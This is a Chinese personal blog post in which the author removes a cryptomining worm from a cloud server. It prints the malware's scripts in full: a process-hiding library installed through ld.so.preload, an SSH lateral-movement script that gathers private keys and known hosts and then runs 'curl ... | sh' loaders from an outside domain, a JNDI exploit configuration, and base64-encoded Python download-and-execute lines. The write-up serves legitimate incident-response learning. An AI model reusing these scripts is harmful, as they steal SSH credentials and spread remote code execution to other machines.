侧边栏壁纸
博主头像
钱学超博主等级

火星人,1万小时法则的忠实拥趸。技术宅,象棋和羽毛球爱好者,马拉松PB成绩:4小时零8分。坚持认为算法是计算机的灵魂。喜欢解决问题,喜欢手工,喜欢与朋友们聊天喝酒吹牛X。

  • 累计撰写 81 篇文章
  • 累计创建 447 个标签
  • 累计收到 88 条评论
标签搜索

目 录CONTENT

文章目录

记录一次病毒清除的过程。

钱学超
2021-12-28 / 0 评论 / 0 点赞 / 916 阅读 / 7,716 字 / 正在检测是否收录...
  1. 阿里云报错,说是某一台服务器对外有攻击行为。已经禁止对应的端口号,过段时间后再开。
  2. 那无论如何,总得查一下吧。服务器放在那里好长时间没有管理了。
  3. 先检查一下异常进程,ps -ef,没有发现什么异常。那指定就是定时任务了。
  4. crontab -l 查询:
  5. 0 2 * * * /.git/kworkers
  6. 嗯,就是他了,每天晚上凌晨两点启动根目录下的隐藏文件夹下的kworkers程序,一看就没干啥好事儿。
  7. crontab -e
  8. dd, 删除这一行代码。首先禁止这个程序运行。关门打狗。
  9. cd /.git/ && ll
 总用量 39520
-rwxrwxrwx 1 root root  7529332 12月 27 02:59 autoupdate
-rw-r--r-- 1 root root      528 7月  28 02:23 check_lin.data
-rw-r--r-- 1 root root      772 7月  28 02:23 check_win.data
-rwxrwxrwx 1 root root  3575296 12月 23 02:00 dbus
-rw-r--r-- 1 root root   202240 6月  23 2021 download
-rw-r--r-- 1 root root 25872984 7月  28 02:23 dubbo.jar
-rwxrwxrwx 1 root root      747 6月  23 2021 hideproc.sh
-rwxrwxrwx 1 root root  1052408 8月  11 02:09 [kmsgds]
-rwxrwxrwx 1 root root  2207096 12月 28 03:42 kworkers
-rwxrwxrwx 1 root root     5034 7月  10 02:00 sshkey.sh
  1. 注意,这个.git一般要是开发的话,会在 【~/.git 】这个位置,他这个放到了根目录下,一看就是有问题的。可见这个黑客还是比较有规矩、有底线的。
  2. 看到列表里边的文件了吧,这些都是问题,全都需要处理。先看看他们都是干啥的。先看看这个sh文件,挨个处理。
  3. vim hideproc.sh :这个看名字比较像是隐藏进程的,也不知道是伪装,还是真实的。
if [ "$EUID" -ne 0 ]
  then echo "Please run as root"
else
  if [ `grep libc2.28 /etc/ld.so.preload`  ]
  then echo "hideproc already done!!"
  else
    apt-get update -y
    apt-get install build-essential -y
    yum check-update
    yum install build-essential -y
    dnf groupinstall "Development Tools" -y
    yum group install "Development Tools"  -y
    curl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c

    gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
    mv libc2.28.so /usr/local/lib/ -f
    grep libc2.28 /etc/ld.so.preload  || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
    rm -f processhider.c
    ls >/tmp/.1  2>&1
    grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload
  fi
fi
  1. 看样子,是从某个网站下载了一个c语言包,使用本地环境编译成可执行文件,并且放到了系统库里边。我们找到并删除他即可。(/usr/local/lib/libc2.28.so)
  2. 启动文件里边,/etc/ld.so.preload也是他搞的,看看这里边都有啥。
  3. vim /etc/ld.so.preload
/usr/local/lib/libc2.28.so
  1. 还好,只有这一个文件,被设置成了开机启动。文件已经被干掉了。这个启动文件也没有用了,删除即可。
  2. rm -rf /etc/ld.so.preload
  3. 处理完这个文件,看下一个可以执行的sh文件是啥。 vim sshkey.sh
echo "local go start"
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep supportxmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep xmrpool.net | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minergate.com| awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep viaxmr.com| awk '{print $2}' | xargs kill

ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9

myhostip=$(curl -sL icanhazip.com)
KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'})
KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}')
HOSTS4=$(cat /etc/hosts | grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}')
HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq)
USERZ=$(
  echo "root"
  find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -wv ".ssh"
)
USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $1}' | awk '
{print $4}' | uniq)
sshports=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '-p' '{print $2}' | aw
k '{print $1}' | sed 's/[^0-9]*//g' | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | sed -e "\$a22")
userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | grep -vw "." | grep -vw "ssh" | sed '/\./d')
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
i=0
for user in $userlist; do
  for host in $hostlist; do
    for key in $keylist; do
      for sshp in $sshports; do
        ((i++))
        if [ "${i}" -eq "20" ]; then
          sleep 5
          ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
          i=0
        fi

        #Wait 5 seconds after every 20 attempts and clean up hanging processes

        chmod +r $key
        chmod 400 $key
        echo "$user@$host"
        ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "curl http://m.windowsupdatesupport.org/d/loader.sh |sh"
        ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "curl http://m.windowsupdatesupport.org/d/loader.sh |sh"
      done
    done
  done
done
# scangogo
echo "local done"
  1. 看一下吧,这都是干啥啊,先杀了一堆进程。可能是他自己要启动的,也可能是同类竞争对手???病毒也搞内卷么?
  2. 然后呢?直接去查找一下本机的出口IP地址。http://icanhazip.com 这可是给人家带来了一定压力啊。
  3. 我日啊,这是要连锅端啊!所有保存在这台机器上的ssh文件,包括etc/hosts自定义的域名地址等等,全部挨个试一遍,使用ssh登录进去,并且在远程端下载和复制一遍自己。这个必须干掉!查一下,辛亏这台电脑上没有那么多登录的ssh脚本。这也不安全啊。
  4. 再看其他文件,基本都是二进制的可执行文件,或者他们的数据文件。没啥热闹看,有意思的一点是,check_lin.data
  5. vim check_lin.data
### 快速漏洞攻击参数配置(将会根据相应匹配的参数选择对应的所有gadget攻击)
### 多个参数英文逗号分割

#JNDI注入url
JNDI=ldap://m.gunupdatepkg.com:8888/x

#执行的shell命令
#CMD="/System/Applications/Calculator.app/Contents/MacOS/Calculator"
#CMD=ls
CMD=/bin/bash,-c,curl http://m.windowsupdatesupport.org/d/loader.sh|sh

#Reference远程class代码url
CODEBASE=http://127.0.0.1:80/,Calc

#恶意jar包url
JAR=http://127.0.0.1:8080/R.jar,Calc

#DNS服务url
DNS=http://xxxx.ceye.io
~                           
  1. 这里边注释还都是中文的,服了呀,写的还挺规范。
  2. 至此,这个文件夹就算处理完毕了。
  3. rm -rf /.git/
  4. 查看一下其他异常文件。根目录下发现一个不应该存在的文件 .bash_history
  5. 打开看看 vim /.bash_history
python -c 'import urllib;exec urllib.urlopen("http://185.250.148.182/d/loader.py").read()
bash -c "echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0CndpdGggdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cDovLzE4NS4yNTAuMTQ4LjE4Mi9kL2xvYWRlci5weScpIGFzIGY6CiAgICBodG1sID0gZi5yZWFkKCkuZGVjb2RlKCd1dGYtOCcpCiAgICBleGVjKGh0bWwpCg== | base64 -d  | python"
  1. 得,又是一个中招的东西。下载了一个python文件,并且使用python执行了一遍。并且这个应该是通过命令行敲进去的。完蛋,这系统没法要了。
  2. 改密码,查看异常用户,处理异常用户。开防火墙,关闭异常端口。这算是暂时告一段落。等一下看看,是否还有告警出来。若是没有清除干净,那就到时候再说了。

补充:
find . -newermt "2021-01-01"|grep .git/
捎带手查了一下,乖乖,还留着好多复制的病毒呢。
全部删除即可。

0

评论区